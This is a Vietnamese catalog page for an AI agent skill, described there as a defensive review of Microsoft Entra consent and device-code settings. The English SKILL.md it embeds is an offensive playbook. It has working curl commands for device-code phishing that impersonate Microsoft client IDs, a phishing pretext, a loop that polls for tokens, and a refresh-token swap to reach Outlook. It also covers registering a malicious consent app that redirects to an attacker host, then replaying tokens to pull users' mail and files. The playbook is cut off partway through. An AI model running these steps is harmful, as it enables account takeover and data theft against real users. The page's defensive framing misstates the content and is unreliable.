entra-device-code-phishing
Skill này làm gì
Skill này mô tả cách kẻ tấn công lạm dụng luồng đăng nhập Microsoft Entra để lấy token mà không cần mật khẩu, và bên phòng thủ nên theo dõi điều gì. Skill dành cho đội bảo mật vận hành phát hiện và phòng chống lừa đảo.
Khi nào nên dùng
- ✓Khi một đội bảo mật yêu cầu agent rà soát cài đặt của họ về đăng nhập device code và đồng ý ứng dụng.
- ✓Khi agent tìm các đăng ký ứng dụng đáng ngờ yêu cầu quyền Microsoft Graph rộng.
- ✓Khi một kế hoạch phòng thủ cần giải thích cách có thể phát hiện việc đánh cắp token qua luồng đăng nhập.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem người dùng trong tenant của chúng tôi có thể cấp quyền rộng cho ứng dụng lạ, hoặc dùng đăng nhập device code không có giới hạn không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent rà soát cài đặt đồng ý và device code, liệt kê các ứng dụng có phạm vi ủy quyền rộng, rồi đề xuất các kiểm soát để chặn hoặc giám sát chúng.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Entra Device-Code & Illicit-Consent Phishing
Steal Entra ID tokens without ever owning the password. Two primary primitives:
- Device-code phishing — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.
- Illicit consent grant — register an app, get the user to consent to delegated Graph scopes.
Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.
Phase 1: Device-code flow
Request the device code
# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office: d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT> # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
-d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin CODE: $USER_CODE"
Pretext delivery
Email / Teams message saying "To join the secure briefing, open microsoft.com/devicelogin and enter code <USER_CODE>. Code expires in 15 minutes." — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.
Poll for the token
while :; do
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
err=$(echo "$r" | jq -r .error)
case "$err" in
authorization_pending) sleep 5 ;;
null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
*) echo "ERR: $err" ; break ;;
esac
done
Family-of-Client-IDs (FOCI) — single token, all Microsoft apps
The above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent:
# Swap to Outlook for mailbox access:
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access"
TokenTactics / TokenTacticsV2 (PowerShell) automates the swap matrix.
Phase 2: Illicit consent grant (malicious app)
Register the attacker app
# Register in YOUR attacker tenant (multi-tenant).
# Redirect URI: https://<ATTACKER>/redirect ; Sign-in audience: multi-tenant + personal MSA
# Add delegated scopes (NO admin consent needed):
# Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile
# Capture App (client) ID = APP_ID
APP_ID=<APP_ID>
Craft the consent URL
SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
REDIR=https://<ATTACKER>/redirect
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish"
Brand the app Contoso HR Portal or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has user consent for low-risk delegated scopes enabled (default in many tenants), the user single-clicks "Accept" and you have tokens.
Exchange code for tokens at your redirect
CODE=<CODE_FROM_REDIRECT>
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \
| jq .
Phase 3: Token replay
# Mail exfil
curl -s -H "Authorization: Bearer $ACCESS" \
"https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq .
# OneDrive exfil
curl -s -H "Authorization: Bearer $ACCESS" \
"https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq .
# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}"
Phase 4: Primary Refresh Token (PR
Câu hỏi thường gặp
Đăng nhập device code là gì?
Đó là phương thức đăng nhập mà người dùng nhập một mã ngắn trên trang chính thức của Microsoft, và skill nói nó có thể bị lạm dụng trong lừa đảo.
Đồng ý trái phép (illicit consent) là gì?
Skill mô tả đó là lừa người dùng chấp thuận một ứng dụng, rồi ứng dụng đó có quyền truy cập rộng vào dữ liệu của họ.
Skill gợi ý những biện pháp phòng thủ nào?
Skill nhắc đến hạn chế việc đồng ý, giới hạn đăng nhập device code và giám sát hoạt động token bất thường, còn quản trị viên quyết định áp dụng.
Chi tiết
Mô tả gốc của tác giả
Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13993
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.